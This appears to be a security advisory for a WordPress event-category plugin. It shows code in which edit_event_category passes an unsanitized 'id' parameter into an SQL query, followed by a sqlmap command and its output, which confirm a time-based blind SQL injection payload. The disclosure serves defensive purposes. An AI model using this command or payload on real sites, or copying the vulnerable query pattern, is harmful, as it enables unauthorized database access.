The function edit_event_category does not sanitize user-supplied input via the $id parameter before passing it into an SQL statement. This allows a blind SQL attack by an authenticated user who can edit the event categories. 2-function edit_event_category(){ 3- global $wpdb; 4- 5: $id=$_REQUEST['id']; 6- $results = $wpdb->get_results("SELECT * FROM ". EVENTS_CATEGORY_TABLE ." WHERE id =".$id); 7- foreach ($results as $result){ 8- $category_id = $result->id; 9- $category_name = stripslashes($result->category_name); 10- $category_identifier = stripslashes($result->category_identifier);

$ sqlmap -u 'http://example.com/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=*' --load-cookies=./cookie.txt --level=2 --risk=2 --dbms=mysql URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 364 HTTP(s) requests: --- Parameter: #1* (URI) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace Payload: http://example.com:80/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=(CASE WHEN (6856=6856) THEN SLEEP(5) ELSE 6856 END) --- [14:53:44] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 (xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0.12 [14:53:44] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com' [*] shutting down at 14:53:44